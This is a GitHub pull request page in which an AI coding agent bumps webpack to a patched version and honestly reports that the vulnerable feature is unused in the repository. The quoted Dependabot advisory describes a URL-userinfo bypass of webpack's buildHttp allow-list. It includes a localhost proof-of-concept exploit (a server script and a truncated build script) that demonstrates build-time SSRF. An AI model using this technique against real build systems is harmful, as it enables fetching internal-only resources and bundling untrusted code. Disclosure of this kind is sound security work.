Skip to content

fix: bump webpack to ≥5.104.1 (CVE-2025-68458 / GHSA-8fgc-7cc6-rx7x)#2017

Draft
mikeharder with Copilot wants to merge 2 commits into
mainfrom
copilot/fix-webpack-allowed-uris-bypass
Draft

fix: bump webpack to ≥5.104.1 (CVE-2025-68458 / GHSA-8fgc-7cc6-rx7x)#2017
mikeharder with Copilot wants to merge 2 commits into
mainfrom
copilot/fix-webpack-allowed-uris-bypass

Conversation

Copilot AI commented Jun 24, 2026

Copy link
Copy Markdown
Contributor

webpack's HttpUriPlugin (experiments.buildHttp) allowed allowedUris bypass via userinfo-embedded URLs (http://allowed@internal/path), causing build-time SSRF and untrusted content inclusion. Fixed in webpack 5.104.1.

Changes

  • pnpm-workspace.yaml — adds workspace-level override webpack: ">=5.104.1" to enforce the patched floor across the whole tree.
  • packages/autorest.gotest/package.json — adds webpack: ">=5.104.1" as an explicit devDependency. Required because webpack was only a transitive peer dep (via ts-loader / terser-webpack-plugin inside @autorest/testmodeler); without an explicit consumer, pnpm's override mechanism silently skipped it.
  • pnpm-lock.yaml — webpack now resolves to 5.107.2 everywhere; webpack@5.99.9 is fully removed.

Reachability Assessment

Not reachable — high confidence. experiments.buildHttp / HttpUriPlugin is not used anywhere in this repo. Webpack is a transitive build-tooling peer dep only; the patch satisfies the vulnerability scanner rather than addressing an active risk.

Original prompt

This section details the Dependabot vulnerability alert you should resolve

<alert_title>webpack buildHttp: allowedUris allow-list bypass via URL userinfo (@) leading to build-time SSRF behavior</alert_title>
<alert_description>### Summary
When experiments.buildHttp is enabled, webpack’s HTTP(S) resolver (HttpUriPlugin) can be bypassed to fetch resources from hosts outside allowedUris by using crafted URLs that include userinfo (username:password@host). If allowedUris enforcement relies on a raw string prefix check (e.g., uri.startsWith(allowed)), a URL that looks allow-listed can pass validation while the actual network request is sent to a different authority/host after URL parsing. This is a policy/allow-list bypass that enables build-time SSRF behavior (outbound requests from the build machine to internal-only endpoints, depending on network access) and untrusted content inclusion (the fetched response is treated as module source and bundled). In my reproduction, the internal response was also persisted in the buildHttp cache.

Reproduced on:

  • webpack version: 5.104.0
  • Node version: v18.19.1

Details

Root cause (high level): allowedUris validation can be performed on the raw URI string, while the actual request destination is determined later by parsing the URL (e.g., new URL(uri)), which interprets the authority as the part after @.

Example crafted URL:

  • http://127.0.0.1:9000@127.0.0.1:9100/secret.js

If the allow-list is ["http://127.0.0.1:9000"], then:

  • Raw string check:
    crafted.startsWith("http://127.0.0.1:9000")true
  • URL parsing (WHAT new URL() will contact):
    originhttp://127.0.0.1:9100 (host/port after @)

As a result, webpack fetches http://127.0.0.1:9100/secret.js even though allowedUris only included http://127.0.0.1:9000.

Evidence from reproduction:

  • Server logs showed the internal-only endpoint being fetched:
    • [internal] 200 /secret.js served (...) (observed multiple times)
  • Attacker-side build output showed:
    • the internal secret marker was present in the bundle
    • the internal secret marker was present in the buildHttp cache
image-2

PoC

This PoC is intentionally constrained to 127.0.0.1 (localhost-only “internal service”) to demonstrate SSRF behavior safely.

1) Setup

mkdir split-userinfo-poc && cd split-userinfo-poc
npm init -y
npm i -D webpack webpack-cli

2) Create server.js

#!/usr/bin/env node
"use strict";

const http = require("http");

const ALLOWED_PORT = 9000;   // allowlisted-looking host
const INTERNAL_PORT = 9100;  // actual target if bypass succeeds

const secret = `INTERNAL_ONLY_SECRET_${Math.random().toString(16).slice(2)}`;
const internalPayload =
  `// internal-only\n` +
  `export const secret = ${JSON.stringify(secret)};\n` +
  `export default "ok";\n`;

function listen(port, handler) {
  return new Promise(resolve => {
    const s = http.createServer(handler);
    s.listen(port, "127.0.0.1", () => resolve(s));
  });
}

(async () => {
  // "Allowed" host (should NOT be contacted if bypass works as intended)
  await listen(ALLOWED_PORT, (req, res) => {
    console.log(`[allowed-host] ${req.method} ${req.url} (should NOT be hit in userinfo bypass)`);
    res.statusCode = 200;
    res.setHeader("Content-Type", "application/javascript; charset=utf-8");
    res.end(`export default "ALLOWED_HOST_WAS_HIT_UNEXPECTEDLY";\n`);
  });

  // Internal-only service (SSRF-like target)
  await listen(INTERNAL_PORT, (req, res) => {
    if (req.url === "/secret.js") {
      console.log(`[internal] 200 /secret.js served (secret=${secret})`);
      res.statusCode = 200;
      res.setHeader("Content-Type", "application/javascript; charset=utf-8");
      res.end(internalPayload);
      return;
    }
    console.log(`[internal] 404 ${req.method} ${req.url}`);
    res.statusCode = 404;
    res.end("not found");
  });

  console.log("\nServers up:");
  console.log(`- allowed-host (should NOT be contacted): http://127.0.0.1:${ALLOWED_PORT}/`);
  console.log(`- internal target (should be contacted if vulnerable): http://127.0.0.1:${INTERNAL_PORT}/secret.js`);
})();

2) Create server.js

#!/usr/bin/env node
"use strict";

const path = require("path");
const os = require("os");
const fs = require("fs/promises");
const webpack = require("webpack");

function fmtBool(b) { return b ? "✅" : "❌"; }

async function walk(dir) {
  const out = [];
  let items;
  try { items = await fs.readdir(dir, { withFileTypes: true }); }
  catch { return out; }
  for (const it of items) {
    const p = path.join(dir, it.name);
    if (it.isDirectory()) out.push(...await walk(p));
    else if (it.isFile()) out.push(p);
  }
  return out;
}

async function fileContains(f, needle) {
  try {
    const buf = await ...

</details>



<!-- START COPILOT CODING AGENT SUFFIX -->

- Resolves Azure/autorest.go alert #714

Copilot AI changed the title [WIP] Fix webpack buildHttp allowedUris allow-list bypass vulnerability fix: bump webpack to ≥5.104.1 (CVE-2025-68458 / GHSA-8fgc-7cc6-rx7x) Jun 24, 2026
Copilot AI requested a review from mikeharder June 24, 2026 06:27
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants